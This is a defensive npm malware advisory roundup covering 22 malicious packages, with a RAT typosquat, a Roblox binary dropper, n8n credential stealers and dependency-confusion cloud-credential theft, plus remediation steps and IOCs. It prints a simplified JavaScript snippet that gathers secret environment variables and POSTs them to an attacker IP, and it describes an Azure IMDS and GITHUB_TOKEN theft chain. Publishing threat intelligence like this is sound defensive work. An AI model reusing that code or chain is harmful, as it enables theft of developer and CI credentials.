# GitHub Advisory malware sweep - 2026-09-14/15 (npm `pino-ulid` cross-platform persistent RAT typosquat, `noblox-asset.js` Roblox typosquat with TRLX.exe Windows binary, `n8n-nodes-sysdiag`/`sysdiag2` n8n community-node credential exfil, `concierge-sdk` dep-confusion with Azure IMDS + GITHUB_TOKEN theft, `@aiwfm/communitywfm.scripts.api` Cloudflare Workers env exfil, `get-power`/`postgreesqlhelper` get-proto base64+eval RCE)

> GHSA 2026-09-14/15 (npm-only day): `pino-ulid<=2.12.3` is a persistent multi-OS RAT typosquat impersonating `pino`+`ulid`; `noblox-asset.js` v7.4.0-7.4.2/7.6.0 impersonates the Roblox `noblox.js` API wrapper and drops the `TRLX.exe` Windows binary; `n8n-nodes-sysdiag`/`sysdiag2` are n8n community-node credential exfilters; `concierge-sdk@99.99.99+` is a dep-confusion probe that actually hits Azure IMDS and `GITHUB_TOKEN`; plus `@aiwfm/communitywfm.scripts.api` Cloudflare Workers env exfil and get-proto typosquat RCE loaders.

- Published: 2026-09-15
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm
- Scope: 22 packages, 36 compromised versions
- Tags: typosquat, dependency-confusion, infostealer, credential-theft, ci-cd-compromise, obfuscation
- Also known as: 2026-09-15 GHSA npm sweep, pino-ulid cross-platform persistent RAT (MAL-2026-16154), noblox-asset.js Roblox typosquat (MAL-2026-16148), n8n-nodes-sysdiag n8n community-node credential exfil, concierge-sdk dep-confusion Azure IMDS + GITHUB_TOKEN theft, @aiwfm/communitywfm.scripts.api Cloudflare Workers env exfil, get-power / postgreesqlhelper get-proto impersonator RCE loaders, meeb322k Burp Collaborator recon beacon pair
- Detected by: GitHub Advisory Database, OpenSSF Package Analysis, OpenSSF malicious-packages, amazon-inspector
- Incident ID: multi-2026-09-15-ghsa-malware-sweep

## Affected packages (22)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@aiwfm/communitywfm.scripts.api](https://dependencywatch.io/package/npm/@aiwfm/communitywfm.scripts.api) | npm | 28.1.28 |
| [@gfe/lx-watcher](https://dependencywatch.io/package/npm/@gfe/lx-watcher) | npm | * |
| [@merazmz/project-tracker](https://dependencywatch.io/package/npm/@merazmz/project-tracker) | npm | * |
| [@yggbrasil/api](https://dependencywatch.io/package/npm/@yggbrasil/api) | npm | * |
| [afhmxiewpsf](https://dependencywatch.io/package/npm/afhmxiewpsf) | npm | 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5 |
| [app-rrhh](https://dependencywatch.io/package/npm/app-rrhh) | npm | 999.0.0 |
| [concierge-sdk](https://dependencywatch.io/package/npm/concierge-sdk) | npm | 99.99.99, 99.99.100, 99.99.101 |
| [dilxztech](https://dependencywatch.io/package/npm/dilxztech) | npm | * |
| [expect-dotenv](https://dependencywatch.io/package/npm/expect-dotenv) | npm | * |
| [get-power](https://dependencywatch.io/package/npm/get-power) | npm | 1.0.3 |
| [lpulogin](https://dependencywatch.io/package/npm/lpulogin) | npm | * |
| [meraz-project-tracker](https://dependencywatch.io/package/npm/meraz-project-tracker) | npm | * |
| [n8n-nodes-sysdiag](https://dependencywatch.io/package/npm/n8n-nodes-sysdiag) | npm | 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4 |
| [n8n-nodes-sysdiag2](https://dependencywatch.io/package/npm/n8n-nodes-sysdiag2) | npm | 2.0.0 |
| [noblox-asset.js](https://dependencywatch.io/package/npm/noblox-asset.js) | npm | 7.4.0, 7.4.1, 7.4.2, 7.6.0 |
| [os-info-meeb322k](https://dependencywatch.io/package/npm/os-info-meeb322k) | npm | 1.0.0 |
| [pino-ulid](https://dependencywatch.io/package/npm/pino-ulid) | npm | <=2.12.3 |
| [postgreesqlhelper](https://dependencywatch.io/package/npm/postgreesqlhelper) | npm | <=1.0.3 |
| [sql-limit-enforcer](https://dependencywatch.io/package/npm/sql-limit-enforcer) | npm | 10.0.0 |
| [strapi-plugin-os-info-meeb322k](https://dependencywatch.io/package/npm/strapi-plugin-os-info-meeb322k) | npm | 3.6.8 |
| [ultra-ws](https://dependencywatch.io/package/npm/ultra-ws) | npm | 1.0.0 |
| [web-main](https://dependencywatch.io/package/npm/web-main) | npm | 22.1.2 |

## What happened

Between roughly 2026-09-14 00:00 UTC and 2026-09-15 12:00 UTC, GitHub Advisory Database published 22 new npm malware advisories (no new PyPI, Rust, RubyGems, or Go advisories in the window). Unlike the surrounding week — which has been dominated by the `2026-09-openaii` PyPI AI-SDK typosquat wave and the `joko-*` tea.xyz spam explosion — this batch is unusually **payload-rich for a single day**: six of the ten clusters below describe fully weaponised code (persistent RAT, Windows binary drop, credential exfil to hardcoded infrastructure, real Azure/GitHub cloud-credential theft, and get-proto typosquat RCE loaders), only four are the usual reconnaissance/beacon spam floor.

## Cluster A - `pino-ulid` cross-platform persistent RAT typosquat

`pino-ulid<=2.12.3` (GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) impersonates the popular [`pino`](https://www.npmjs.com/package/pino) structured logger and [`ulid`](https://www.npmjs.com/package/ulid) ID library — the package homepage points at `github.com/ulid/javascript`, and ships a genuine ULID code path as cover for the malicious payload.

Detonation flow:

1. `package.json` postinstall runs `node dist/node/utils.js`
2. `utils.js` spawns `dist/node/payload.js` detached, `stdio: "ignore"`, `unref()`'d
3. Payload gated by a minimum-CPU-count check (sandbox evasion) and a prior-install check across `schtasks` / `HKCU Run` / `launchd` / `systemd` / `autostart` (avoids reinstalling itself)
4. Installs cross-platform boot persistence:
   - Linux: `~/.config/systemd/user/pkg-agent.service` and/or `~/.config/autostart/pkg-agent.desktop`
   - macOS: `~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist`
   - Windows: Task Scheduler entry + `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` value `pkg-agent`
5. 466 KB agent beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes

This is a fully-formed RAT, not a reconnaissance probe. Amazon Inspector attributes it as part of a broader ongoing cross-platform typosquat campaign (the wider "800 malicious npm packages" story previously reported by The Hacker News on 2026-08-04 covers the same operator infrastructure). Treat any `pino-ulid` hit as a full host compromise: rotate everything the host reached, and remove persistence artefacts by name — `pkg-agent` / `com.launchkeeper.pkg-agent` are the identifiers.

## Cluster B - `noblox-asset.js` Roblox `noblox.js` typosquat with Windows binary drop

`noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0` (GHSA-9pp6-m94w-8jhp, MAL-2026-16148) impersonates the legitimate [`noblox.js`](https://noblox.js.org/) Roblox API wrapper, copying description, homepage, and repository metadata verbatim. This continues the [Socket-documented Roblox-typosquat campaign](https://socket.dev/blog/malicious-npm-package-masquerades-as-noblox-js) that has been publishing `noblox-*` lookalikes since 2023.

Postinstall behaviour:

1. **Sandbox detection**: rejects hosts booted <15 min ago, verifies parent process, checks for `x64dbg` / `ollydbg` / IDA
2. **VM detection**: scans registry entries + drivers from VirtualBox, VMware, QEMU, Xen, Parallels, Hyper-V
3. **Payload delivery** (on non-virtualised, non-analysis hosts): downloads `TRLX.exe` from an external URL, executes detached from npm process for post-install persistence

Heavy obfuscation + nonsensical Chinese-character padding to deter analysis. Most likely a Roblox-developer-targeted infostealer or clipboard-hijacker, matching prior Roblox typosquat payloads. Because the binary is downloaded fresh at install time and unpinned, the same package can serve different payloads over time — the download URL is the durable IOC to block at egress.

## Cluster C - `n8n-nodes-sysdiag` / `n8n-nodes-sysdiag2` targeted n8n community-node credential exfilters

Two advisories flag matching n8n-targeting nodes:
- `n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4` (GHSA-mfvv-xhj7-524c)
- `n8n-nodes-sysdiag2@2.0.0` (GHSA-mx46-3mx3-r66x, hash `b77e4f76…7343a990`)

n8n community nodes are third-party plugins that extend the [n8n](https://n8n.io/) workflow-automation platform; users install them via `npm install n8n-nodes-*`. This attack is a **targeted supply-chain hit against n8n operators**, not a broad-spectrum npm spam entry.

Payload:

```
// simplified
for (const [k, v] of Object.entries(process.env)) {
  if (/^(N8N|DB_|REDIS|QUEUE|EXECUT)/.test(k) || /KEY|SECR|PASS|ENCRYPT|PG/.test(k)) {
    exfil[k] = v
  }
}
fetch('https://121.127.33.228:443/api/v1/nodes/compat', {
  method: 'POST',
  body: Buffer.from(JSON.stringify(exfil)).toString('base64'),
})
```

Hardcoded bare-IP C2 (no domain — no DNS to sinkhole), obfuscated HTTP transport module references, silent error handling, and comments misrepresenting the behaviour as "version compatibility" / "telemetry reporting" for defensive review of the source. The env-var pattern matches exactly what n8n uses for its database, Redis queue, encryption key, and external-service credentials — so a hit here loses the entire n8n secret set in one round-trip.

## Cluster D - `concierge-sdk` dep-confusion with real Azure IMDS + `GITHUB_TOKEN` compromise

`concierge-sdk@99.99.99/99.99.100/99.99.101` (GHSA-7gx4-hj9w-hx25) is presented as a classic dep-confusion probe at sentinel version 99.99.x, but the payload is **not** the usual DNS/HTTP beacon — it is real cloud-credential theft:

1. `exfil_v2.js` runs from postinstall
2. Harvests `process.env`, working-directory contents, `.env`, `secrets.json`
3. Curls Azure IMDS at `169.254.169.254` to obtain a managed-identity access token for `vault.azure.net`
4. Uses that token to list Key Vault secrets
5. Uses runner's `GITHUB_TOKEN` against `api.github.com` to read repository secrets and Actions artifacts
6. POSTs everything to a hardcoded `webhook.site` endpoint
7. Companion `exfil.js` script duplicates env-var exfil under UA `continental-sdk/1.0`

Any CI host on an Azure runner (self-hosted or GHA hosted) with a managed identity that could reach a Key Vault, and a `GITHUB_TOKEN` with `secrets: read`, will have been fully drained. The lesson: sentinel-version dep-confusion is not always "just a probe". Verify payload every time before deciding severity.

## Cluster E - `@aiwfm/communitywfm.scripts.api` targeted enterprise dep-confusion with analysis evasion

`@aiwfm/communitywfm.scripts.api@28.1.28` (GHSA-cj6r-j9c8-88qp) — the naming convention (dotted-suffix `.scripts.api` under a workforce-management scope, at a version like an internal build number `28.1.28`) is a near-perfect match for a **.NET-style internal enterprise package layout**. Preinstall `build.js`:

1. Assembles the hostname `dawn-salad-18c7.mikhail-nab.workers.dev` from split string fragments (defeats simple string-search scans of the source)
2. Base64-encodes the entire `process.env`
3. POSTs to that Cloudflare Workers endpoint on install
4. Analysis-evasion: blocks transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate avoidance of security-analysis environments

Because developer and CI machines typically carry npm publish tokens, `GITHUB_TOKEN`, and cloud credentials as env vars, this is a bulk credential + env dump to attacker-controlled Cloudflare Workers infrastructure.

## Cluster F - `get-power` / `postgreesqlhelper` npm `get-proto` (ljharb) impersonator RCE loaders

Two npm packages, same operator, same loader pattern:

- `get-power@1.0.3` (GHSA-pjxw-c7p6-x2gq)
- `postgreesqlhelper<=1.0.3` (GHSA-87qj-rx96-4w66) — doubly typosquats `postgresql` and `get-proto`

Pattern:

1. `index.js` decodes two base64-encoded files disguised as `.map` source-map files
2. Writes them to temporary `.js` files, `require()`s them, deletes to cover tracks
3. Decoded loader fetches encrypted stage-2 blob via HTTPS from a public paste host
4. Decrypts using hardcoded AES-256-CBC credentials
5. `eval()`s the plaintext

Whoever controls the paste has arbitrary code execution on any host that installs and loads the package. Same "impersonate a ljharb utility" pattern that has been used against `has-*`, `safe-*`, and `object.*` transitive dep names for years — this one specifically targets `get-proto`.

## Cluster G - `ultra-ws` unpinned-tarball loader

`ultra-ws@1.0.0` (GHSA-h35p-624w-rrp4) — `package.json` declares:

```json
"dependencies": {
  "node-net-pool": "https://github.com/<random-throwaway-account>/<...>/tarball/<mutable-branch>"
}
```

npm fetches unverified bytes from an unpinned branch URL with no integrity hash. Postinstall requires the fetched module. The tarball owner can change the contents at any time without a version bump on `ultra-ws` itself, so a defender who examines the package at install time may see benign code, and a later install pull weaponised code. Class of attack: git-tarball-dependency loader.

## Cluster H - `os-info-meeb322k` / `strapi-plugin-os-info-meeb322k` Burp Collaborator reconnaissance beacon pair

- `os-info-meeb322k@1.0.0` (GHSA-5wwx-6p5f-p9vh)
- `strapi-plugin-os-info-meeb322k@3.6.8` (GHSA-3jh2-p873-gc7r)

Same operator (`meeb322k` suffix, identical Burp Collaborator subdomain `vml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com`). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. The `strapi-plugin-*` name impersonates the legitimate `strapi-plugin-os-info` Strapi CMS plugin. No payload beyond the OOB beacon confirming install.

## Cluster I - Install-time reconnaissance beacons and dep-confusion probes

Five advisories that beacon but do not (per published analysis) carry a payload beyond that:

| Package | Version | GHSA | Beacon endpoint | Note |
|---|---|---|---|---|
| `sql-limit-enforcer` | 10.0.0 | GHSA-vjjr-9qv2-mh33 | `webhook.site/13d98b4a-…` | package.json points at non-existent index.js; payload in main.js |
| `web-main` | 22.1.2 | GHSA-mq47-gfmg-59pp | `smi54v4uvb9q7ve5t6fnyro16scj0co1.oastify.com` | Burp Collaborator |
| `app-rrhh` | 999.0.0 | GHSA-c9r8-qhjh-h69j | Burp Collaborator (username+hostname in URL) | dep-confusion at sentinel v999; "RRHH" = Spanish HR |
| `@merazmz/project-tracker` | * | GHSA-x98w-cqq8-v3q2 | (CWE-506 boilerplate) | matched scoped+unscoped pair; likely dep-confusion probe |
| `meraz-project-tracker` | * | GHSA-54v8-j59m-366h | (CWE-506 boilerplate) | matched pair with the above |

## Cluster J - CWE-506 boilerplate takedowns (spam floor)

Six advisories are pure "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself: `@yggbrasil/api` (scoped, plausibly dep-confusion), `@gfe/lx-watcher` (scoped, plausibly dep-confusion), `expect-dotenv` (reads as a `dotenv` typosquat), `lpulogin`, `dilxztech`, `afhmxiewpsf@1.0.0-1.0.5` (random-name spam floor). Treated as `medium` pending payload analysis; ignore-scripts blocks any install-time behaviour they might carry.

## Cross-operator patterns worth flagging

1. **Sentinel-version dep-confusion is not always "just a probe"** — Cluster D `concierge-sdk` at 99.99.x hits Azure IMDS + `GITHUB_TOKEN` for real. Verify payload every time before down-severity-ing a dep-confusion advisory.
2. **`meeb322k` and `mikhail-nab.workers.dev` are the durable operator IDs** across today's reconnaissance/exfil clusters. Block those substrings in your incident-response search rules.
3. **Roblox typosquats are a recurring 2+ year campaign** (Cluster B) — any Roblox-adjacent developer team should audit their npm resolution paths for `noblox-*` lookalikes on every review, not just when GHSA publishes a new advisory.
4. **n8n community nodes are a viable targeted-supply-chain vector** (Cluster C) — organisations running n8n should curate an allowlist of trusted `n8n-nodes-*` publishers rather than allowing bare-name npm resolution.

## Registry state

All packages below are flagged as malware on npm and quarantined at the time of writing. `pino-ulid` and `noblox-asset.js` are the highest-priority hits because they leave persistent artefacts on-disk beyond simple package uninstall.

## Discovery credits

`GitHub Advisory Database`, `OpenSSF Package Analysis`, `OpenSSF malicious-packages`, `amazon-inspector`. Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-14 and 2026-09-15 UTC.

## Impact

- **Cluster A — `pino-ulid` cross-platform persistent RAT typosquat (impersonates `pino`+`ulid`, sandbox evasion, WebSocket C2)**: `pino-ulid<=2.12.3` (GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) — installs a persistent remotely-controlled agent on any host that runs `npm install pino-ulid`. Ships a genuine ULID code path as cover; the `package.json` postinstall runs `node dist/node/utils.js` which spawns `dist/node/payload.js` detached with stdio ignored and unref'd, gated by a minimum CPU-count check (sandbox evasion) and a prior-install check against `schtasks` / `HKCU Run` / `launchd` / `systemd` / `autostart`. Installs cross-platform boot persistence: `~/.config/systemd/user/pkg-agent.service` and/or `~/.config/autostart/pkg-agent.desktop` on Linux, `~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist` on macOS, and a Task Scheduler entry plus `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` value `pkg-agent` on Windows. Agent (466 KB) beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes
- **Cluster B — `noblox-asset.js` Roblox `noblox.js` typosquat (Windows binary payload, sandbox+VM evasion, TRLX.exe download)**: `noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0` (GHSA-9pp6-m94w-8jhp, MAL-2026-16148) — impersonates the legitimate [noblox.js](https://noblox.js.org/) Roblox API wrapper, copying description, homepage, and repository metadata. Postinstall performs sandbox detection (rejects hosts booted <15 min ago, checks parent process, checks for `x64dbg`/`ollydbg`/IDA), VM detection (VirtualBox/VMware/QEMU/Xen/Parallels/Hyper-V registry+driver scan), and — on non-virtualised hosts — downloads and executes `TRLX.exe` from an external URL, detached from the npm process for persistence beyond install. Continues the multi-year Socket-documented Roblox-targeted npm campaign that has been repeatedly published under noblox lookalikes
- **Cluster C — `n8n-nodes-sysdiag` / `n8n-nodes-sysdiag2` n8n community-node credential exfilters (targets n8n workflow automation)**: `n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4` (GHSA-mfvv-xhj7-524c) and `n8n-nodes-sysdiag2@2.0.0` (GHSA-mx46-3mx3-r66x, hash `b77e4f76…7343a990`) — masquerade as n8n health-check community nodes for the [n8n](https://n8n.io/) workflow-automation platform. Enumerates `process.env` filtering for keys matching `N8N`, `DB_`, `REDIS`, `QUEUE`, `EXECUT`, and anything containing `KEY`, `SECR`, `PASS`, `ENCRYPT`, or `PG`; base64-encodes selected values and POSTs to hardcoded bare-IP `121.127.33.228:443/api/v1/nodes/compat`. Obfuscated HTTP transport, silent error handling, and misleading "version compatibility" / "telemetry reporting" comments. Any n8n installation that added this node had its database password, Redis credentials, encryption keys, and cloud credentials stolen
- **Cluster D — `concierge-sdk` dep-confusion at sentinel v99.99.99+ with real Azure IMDS + `GITHUB_TOKEN` theft (NOT just a beacon — full CI credential compromise)**: `concierge-sdk@99.99.99/99.99.100/99.99.101` (GHSA-7gx4-hj9w-hx25) — dependency-confusion at classic sentinel version, but unlike the usual beacon-only probes this one has a real payload. Postinstall runs `exfil_v2.js` which harvests `process.env`, working-directory contents, `.env`, and `secrets.json`; curls Azure Instance Metadata Service (`169.254.169.254`) to obtain a managed-identity access token for `vault.azure.net` and lists Key Vault secrets; uses runner's `GITHUB_TOKEN` against `api.github.com` to read repository secrets and Actions artifacts. Companion `exfil.js` duplicates env-var exfil under UA `continental-sdk/1.0`. Any CI host that resolved `concierge-sdk` at 99.99.x had its Azure Key Vault + GitHub repository secrets compromised — this warrants a full rotation, not just uninstall
- **Cluster E — `@aiwfm/communitywfm.scripts.api` npm dep-confusion (Cloudflare Workers env exfil, analysis-evasion filters)**: `@aiwfm/communitywfm.scripts.api@28.1.28` (GHSA-cj6r-j9c8-88qp). The `.scripts.api` dotted-suffix naming convention matches internal .NET-style enterprise package layouts, suggesting a targeted dep-confusion pick. Preinstall `build.js` assembles the hostname `dawn-salad-18c7.mikhail-nab.workers.dev` from split string fragments, base64-encodes the entire `process.env`, and POSTs to the Cloudflare Workers endpoint on install. Includes evasion filters that block transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate analysis-environment avoidance. Bulk credential + env-var exfil to attacker-controlled Cloudflare Workers
- **Cluster F — `get-power` / `postgreesqlhelper` npm `get-proto` (ljharb) impersonator RCE loaders (base64+eval, encrypted stage-2)**: `get-power@1.0.3` (GHSA-pjxw-c7p6-x2gq) and `postgreesqlhelper<=1.0.3` (GHSA-87qj-rx96-4w66) — both npm packages impersonate [ljharb/get-proto](https://www.npmjs.com/package/get-proto). `index.js` decodes two base64-encoded files disguised as source maps into executable JS, requires them, then deletes them to cover tracks. The decoded loader fetches an encrypted stage-2 blob via axios / HTTPS from a public paste host, decrypts with hardcoded AES-256-CBC credentials, and `eval()`s the plaintext — granting whoever controls the paste arbitrary code execution on any host that installs and loads the package. `postgreesqlhelper` doubles as a `postgresql` misspelling
- **Cluster G — `ultra-ws` npm unpinned-tarball loader (throwaway GH account, integrity-free branch fetch)**: `ultra-ws@1.0.0` (GHSA-h35p-624w-rrp4) — `package.json` declares dependency on `node-net-pool` sourced from a tarball URL on a random third-party GitHub account (not the npm registry). npm fetches unverified bytes from an unpinned branch URL with no integrity check; postinstall requires the fetched module. Random throwaway-shaped account + mutable branch = arbitrary code execution at any time without a version bump. Same class as historical "tarball-dep from a fresh gist/branch" loaders that other researchers have flagged for years
- **Cluster H — `os-info-meeb322k` / `strapi-plugin-os-info-meeb322k` Burp Collaborator reconnaissance beacon pair (same operator, `strapi-plugin-os-info` impersonation)**: `os-info-meeb322k@1.0.0` (GHSA-5wwx-6p5f-p9vh) and `strapi-plugin-os-info-meeb322k@3.6.8` (GHSA-3jh2-p873-gc7r) — same operator (`meeb322k` suffix, identical Burp Collaborator subdomain `vml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com`). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. The `strapi-plugin-*` name impersonates the legitimate `strapi-plugin-os-info` Strapi CMS plugin. No payload beyond the OOB beacon confirming install — treat as reconnaissance probes
- **Cluster I — Install-time reconnaissance beacons and dep-confusion probes (no payload beyond Burp/webhook.site beacon)**: `sql-limit-enforcer@10.0.0` (GHSA-vjjr-9qv2-mh33) — hostname/user/os to `webhook.site/13d98b4a-1999-4ec7-92c9-0697c259ca05`, package.json points at non-existent `index.js` while payload lives in `main.js`; `web-main@22.1.2` (GHSA-mq47-gfmg-59pp) — `whoami`/`id`/`pwd` output to `smi54v4uvb9q7ve5t6fnyro16scj0co1.oastify.com/system-info` Burp Collaborator; `app-rrhh@999.0.0` (GHSA-c9r8-qhjh-h69j) — dep-confusion at sentinel v999, curl to Burp Collaborator subdomain with username+hostname in URL path (RRHH is Spanish for HR — probably an internal HR-app namespace squat); `@merazmz/project-tracker` + `meraz-project-tracker` (GHSA-x98w-cqq8-v3q2, GHSA-54v8-j59m-366h) — matched scoped+unscoped pair, standard CWE-506 boilerplate takedowns, most plausibly a dep-confusion probe pair for an internal `project-tracker` name
- **Cluster J — CWE-506 boilerplate takedowns with no published payload analysis (spam floor)**: `@yggbrasil/api` (GHSA-cmxv-8vgc-m43c), `@gfe/lx-watcher` (GHSA-wg37-hw83-hqwf), `expect-dotenv` (GHSA-h7q6-7chv-cgh2), `lpulogin` (GHSA-5823-3hg3-27v8), `dilxztech` (GHSA-5wh2-j94m-rwpf), `afhmxiewpsf@1.0.0-1.0.5` (GHSA-59f6-ch49-395j) — all standard "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself. `@yggbrasil/api` and `@gfe/lx-watcher` are scoped so most likely dep-confusion probes; `expect-dotenv` reads as a `dotenv` typosquat; `afhmxiewpsf` and `dilxztech` are random-name spam floor. Treat as `medium` pending payload analysis

## What to do

1. Grep every `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `package.json`, and any n8n custom-node config in your org for the specific package names in Clusters A-F. Uninstall on hit, wipe `node_modules`, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched. Clusters A-F each involve real payloads beyond beacons — a hit is a compromise, not a warning
2. **For Cluster A `pino-ulid`**: any host that ran `npm install pino-ulid` at `<=2.12.3` is running a persistent multi-OS RAT with WebSocket C2. Rotate everything reachable from the host and remove persistence by hand: `~/.config/systemd/user/pkg-agent.service`, `~/.config/autostart/pkg-agent.desktop`, `~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist`, Task Scheduler task `pkg-agent`, and the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` value `pkg-agent`. Pin the real `pino` and `ulid` explicitly in `package.json`; add `pino-ulid` to your internal-mirror denylist. `--ignore-scripts` blocks initial install-time detonation but not subsequent import-time triggers if the code has already been pulled onto disk
3. **For Cluster B `noblox-asset.js`**: hosts (typically Windows dev workstations) that ran `npm install noblox-asset.js` at v7.4.x/7.6.0 downloaded and executed `TRLX.exe`. Reimage or run a full AV/EDR sweep — the binary is unpinned and persists detached from npm. Pin the real `noblox.js` (dot, no `-asset`) explicitly. Add `noblox-asset.js` and other `noblox-*` combosquats to your internal-mirror denylist. Any Roblox-adjacent developer team should treat this as recurring: the Socket-documented Roblox typosquat campaign has been running since 2023
4. **For Cluster C `n8n-nodes-sysdiag`/`sysdiag2`**: any n8n installation with these community nodes exfiltrated its full n8n secret set (database password, Redis, encryption key, cloud creds) to `121.127.33.228:443`. Rotate every `N8N_*`, `DB_*`, `REDIS*`, `QUEUE*`, `EXECUT*` env var and anything matching `*KEY*`/`*SECR*`/`*PASS*`/`*ENCRYPT*`/`*PG*` on the affected host. Curate an allowlist of trusted n8n community node publishers rather than allowing bare `n8n-nodes-*` names from arbitrary npm publishers. Block `121.127.33.228` at egress
5. **For Cluster D `concierge-sdk`**: any CI host that resolved `concierge-sdk@99.99.x` had its Azure Key Vault secrets and GitHub repository secrets read out. Rotate ALL Azure Key Vault entries the runner's managed identity could reach, ALL GitHub repository secrets and Actions secrets, and every `secrets.json`/`.env` on the runner. Set `--index-url` explicitly to your internal mirror in every CI `pip config`/`npm config` invocation, and audit runners for any past install of a sentinel-version package. Sentinel-version dep-confusion is not always "just a beacon" — verify payload every time
6. **For Cluster E `@aiwfm/communitywfm.scripts.api`**: any host that installed this package sent its `process.env` (including npm/registry tokens, GitHub OIDC exchange creds, cloud creds) to `dawn-salad-18c7.mikhail-nab.workers.dev`. Rotate every secret the affected host had access to. Ensure your `.npmrc` pins the `@aiwfm` scope (and every internal WFM/scheduling-namespace scope) to your internal registry — dotted-suffix names like `.scripts.api` are almost always internal .NET-style enterprise namespaces that should never resolve on public npm
7. **For Cluster F `get-power` and `postgreesqlhelper`**: any process that loaded these packages ran attacker-controlled JS from a public paste host. Rotate everything on the affected host, then pin the real `get-proto` (ljharb/es-shims) explicitly; add `get-power` and `postgreesqlhelper` to internal deny-lists. Treat any generic-sounding "helper" or "power" npm name suspiciously — the "impersonate a widely-installed transitive util" pattern is a common `get-proto`/`safe-*`/`has-*` typosquat vector
8. **For Cluster G `ultra-ws`**: block npm install of any package whose `dependencies` include a bare `github:` or tarball URL from a non-org account at your CI/private-registry layer. If any of your own packages accepted a tarball-URL dependency in a PR review recently, audit that PR for the same throwaway-account pattern
9. **For Clusters H-J (reconnaissance beacons and CWE-506 boilerplate)**: uninstall on hit, rotate `.env` values (env vars in CI usually leak in beacons like these), and no host-forensics response is required beyond routine credential-rotation prudence — these are lower-severity probes with no confirmed post-install payload. `--ignore-scripts` on `npm ci` blocks all Cluster H-I install-time payloads
10. For every `npm install` in CI, prefer `--ignore-scripts` or an equivalent lockfile-consumer mode that blocks pre/post-install hooks. This blocks Clusters C-J entirely but does NOT block Clusters A/B (both re-detonate on import/runtime, or in the Cluster B case rely on the postinstall already having run once)
11. Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Extend your existing `@aiwfm`/`@yggbrasil`/`@gfe`/`@merazmz` scope pins to block any scope that appears in a CWE-506 GHSA advisory even without published payload analysis — dep-confusion probes routinely re-upload under fresh scopes

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-5qw6-rpv6-623h - pino-ulid (Cluster A - cross-platform persistent RAT typosquat of pino+ulid)](https://github.com/advisories/GHSA-5qw6-rpv6-623h) - GitHub
- [MAL-2026-16154 - pino-ulid (OSV / OpenSSF malicious-packages)](https://vulners.com/ossf/OSSF:MAL-2026-16154) - OSV / OpenSSF
- [GHSA-9pp6-m94w-8jhp - noblox-asset.js (Cluster B - Roblox noblox.js typosquat, TRLX.exe drop)](https://github.com/advisories/GHSA-9pp6-m94w-8jhp) - GitHub
- [Socket: Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft (background on Roblox typosquat campaign)](https://socket.dev/blog/malicious-npm-package-masquerades-as-noblox-js) - Socket
- [GHSA-mfvv-xhj7-524c - n8n-nodes-sysdiag (Cluster C - n8n community-node credential exfil)](https://github.com/advisories/GHSA-mfvv-xhj7-524c) - GitHub
- [GHSA-mx46-3mx3-r66x - n8n-nodes-sysdiag2 (Cluster C)](https://github.com/advisories/GHSA-mx46-3mx3-r66x) - GitHub
- [GHSA-7gx4-hj9w-hx25 - concierge-sdk (Cluster D - dep-confusion at v99.99.x, Azure IMDS + GITHUB_TOKEN theft)](https://github.com/advisories/GHSA-7gx4-hj9w-hx25) - GitHub
- [GHSA-cj6r-j9c8-88qp - @aiwfm/communitywfm.scripts.api (Cluster E - enterprise dep-confusion, Cloudflare Workers env exfil)](https://github.com/advisories/GHSA-cj6r-j9c8-88qp) - GitHub
- [GHSA-pjxw-c7p6-x2gq - get-power (Cluster F - get-proto impersonator RCE loader)](https://github.com/advisories/GHSA-pjxw-c7p6-x2gq) - GitHub
- [GHSA-87qj-rx96-4w66 - postgreesqlhelper (Cluster F - get-proto impersonator + postgresql typosquat)](https://github.com/advisories/GHSA-87qj-rx96-4w66) - GitHub
- [GHSA-h35p-624w-rrp4 - ultra-ws (Cluster G - unpinned-tarball loader from throwaway GH account)](https://github.com/advisories/GHSA-h35p-624w-rrp4) - GitHub
- [GHSA-5wwx-6p5f-p9vh - os-info-meeb322k (Cluster H - Burp Collaborator recon beacon)](https://github.com/advisories/GHSA-5wwx-6p5f-p9vh) - GitHub
